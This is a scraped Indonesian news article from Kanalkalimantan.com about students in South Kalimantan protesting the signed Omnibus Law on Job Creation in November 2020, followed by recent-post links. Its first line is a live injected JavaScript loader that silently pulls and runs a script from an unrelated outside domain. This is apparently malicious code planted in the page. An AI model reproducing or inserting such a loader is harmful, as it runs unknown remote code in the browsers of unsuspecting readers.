(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Diteken Jokowi, Mahasiswa Kalsel Kembali Turun ke Jalan Tolak UU Ciptaker


KANALKALIMANTAN.COM, BANJARMASIN – Gelombang unjuk rasa penolakan Undang-Undang (UU) Omnibus Law Cipta Kerja yang sudah diteken Jokowi oleh mahasiswa di Kalimantan Selatan terus dilakukan.

Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja, Kamis (5/11/2020).

Setelah disahkan DPR RI kemudian resmi diteken oleh Presiden RI, Joko Widodo menjadi UU nomor 11 tahun 2020, BEM se Kalsel menyuarakan penolakan terhadap Omnibus Law UU Cipta Kerja.

Ketua BEM Universitas Lambung Mangkurat Ahdiat Zairullah kepada Kanalkalimantan.com dalam aksi turun ke jalan kali ini kembali menuntut penolakan UU Nomor 11 tahun 2020 Cipta Kerja yang ditandatangani Jokowi Senin (2/11/2020) lalu.

 

Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja, Kamis (5/11/2020). foto: putra

Sementara itu, Muhammad Padliansyah, Ketua BEM Uniska mengatakan, penolakan Omnibus Law Cipta Kerja yang sudah diteken dari Presiden RI adalah seruan aksi sidang rakyat menanti sikap pemerintah.

“Atas penetapan Undang-Undang yang sudah diteken oleh Presiden RI, secara tegas menyuarakan penolakan Omnibus Law Cipta Kerja, kami (mahasiswa) menanti sikap pemerintah,” jelasnya.

Pantauan Kanalkalimantan.com pukul 10.30 Wita, massa mahasiswa mulai memadati dengan duduk di depan bundaran BI berorasi kajian penolakan Omnibus Law Cipta Kerja.

Sejumlah mahasiswa juga membagikan selebaran kertas kepada masyarakat terkait hasil kajian yang dilakukan oleh BEM se Kalsel. Mahasiswa yang turun berdemo lebih dari 100, salah satu mahasiswa menyampaikan orasi di tengah aksi unjuk rasa.

Sekadar dicatat sejak Oktober lalu, aksi turun ke jalan digelar mahasiswa gabungan sudah dilakukan sebanyak empat kali.

Aksi pertama pada 8 Oktober lalu, kemudian berlanjut pada 15 Oktober dan dua demontrasi terakhir pada 20 Oktober dan 28 Oktober 2020 lalu. (kanalkalimantan.com/putra)

Reporter: putra
Editor: bie


Al Ghifari

Recent Posts

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

18 menit ago

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

13 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

13 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

14 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

16 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

22 jam ago

This website uses cookies.